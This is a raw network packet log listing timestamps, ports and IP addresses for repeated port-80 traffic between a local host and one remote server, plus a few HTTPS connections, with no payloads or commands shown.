Nov 17, 2024 01:38:51.483814955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483814955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483815908 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483829021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483839035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483844042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483850002 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483861923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483870029 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483871937 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483882904 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483896971 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483897924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483908892 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483920097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483922005 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483932018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483933926 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483942986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483952999 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483958960 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483962059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483972073 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.483975887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.483997107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484015942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484083891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484093904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484105110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484114885 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484127998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484127998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484137058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484152079 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484168053 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484174967 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484210014 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484258890 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484265089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484304905 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484332085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484343052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484354019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484359980 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484375954 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484390020 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484452963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484463930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484474897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484488010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484498024 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484498978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484509945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484514952 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484551907 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484560966 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484570980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484571934 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484580994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484601974 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484608889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484610081 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484627008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484639883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484646082 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484651089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484663010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484677076 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484677076 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484694004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484759092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484771013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484781981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484792948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484805107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484817028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484816074 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484827042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484836102 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484864950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484869957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484879971 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484890938 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484901905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.484911919 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.484932899 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.530225992 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.535655022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.555650949 CET	443	56789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:51.555731058 CET	443	56789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:51.555895090 CET	56789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:51.555964947 CET	56789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:51.555964947 CET	56789	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:51.555979967 CET	443	56789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:51.555988073 CET	443	56789	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:51.558425903 CET	56801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:51.558451891 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:51.558567047 CET	56801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:51.558674097 CET	56801	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:51.558696032 CET	443	56801	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:51.811352015 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811388969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811413050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811453104 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811517954 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811533928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811546087 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811556101 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811569929 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811569929 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811573029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811583042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811589003 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811594009 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811615944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811625004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811634064 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811641932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811641932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811652899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811659098 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811664104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811672926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811687946 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811708927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811903000 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811948061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.811949968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811981916 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.811991930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812028885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812052011 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812174082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812189102 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812199116 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812203884 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812208891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812218904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812227964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812230110 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812238932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812242985 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812248945 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812258005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812273026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812278032 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812283039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812293053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812299967 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812300920 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812309980 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812311888 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812321901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812331915 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812340975 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812347889 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812350988 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812361956 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.812377930 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812387943 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.812416077 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.926753998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926767111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926783085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926791906 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926803112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926811934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926822901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926826000 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.926878929 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.926954031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926970005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926975965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926980019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926984072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926989079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926992893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.926997900 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927001953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927011013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927016020 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927020073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927052975 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927079916 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927082062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927207947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927222967 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927243948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927253008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927258015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927263021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927273035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927280903 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927283049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927293062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927299976 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927303076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927319050 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927325964 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927340984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927361965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927371025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927381039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927386999 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927391052 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927400112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927405119 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927411079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927433968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927438974 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927443981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927453995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927459002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927464008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927489042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927517891 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927656889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927665949 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927675962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927685022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927700043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927701950 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927710056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927721024 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927731037 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927736044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927740097 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927750111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927758932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927778959 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927870035 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927880049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927890062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927910089 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927941084 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.927969933 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927979946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.927990913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928005934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928014994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.928016901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928025007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928044081 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.928065062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.928071976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928085089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928095102 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928111076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928118944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.928121090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:51.928134918 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:51.928167105 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.039911985 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.040371895 CET	56797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.040381908 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.040802002 CET	56797	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:52.040805101 CET	443	56797	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:52.042191029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042211056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042222023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042243004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042243004 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042254925 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042268038 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042279959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042304993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042319059 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042334080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042346001 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042355061 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042363882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042370081 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042382956 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042385101 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042393923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042404890 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042408943 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042416096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042421103 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042454958 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042608976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042618036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042629004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042653084 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042669058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042730093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042742014 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042752981 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042778015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042805910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042887926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042900085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042910099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042921066 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042932034 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042937994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042946100 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042948961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042960882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042975903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042980909 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042988062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.042990923 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.042998075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043009043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043011904 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043019056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043030024 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043032885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043051958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043062925 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043071032 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043082952 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043102026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043112993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043112993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043126106 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043140888 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043165922 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043256998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043267965 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043277979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043287992 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043303013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043306112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043309927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043323994 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043334961 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043340921 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043353081 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043363094 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043369055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043375969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043379068 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043386936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043411016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043411016 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:52.043421984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043433905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:52.043473959 CET	49911	80	192.168.2.6	185.215.113.206
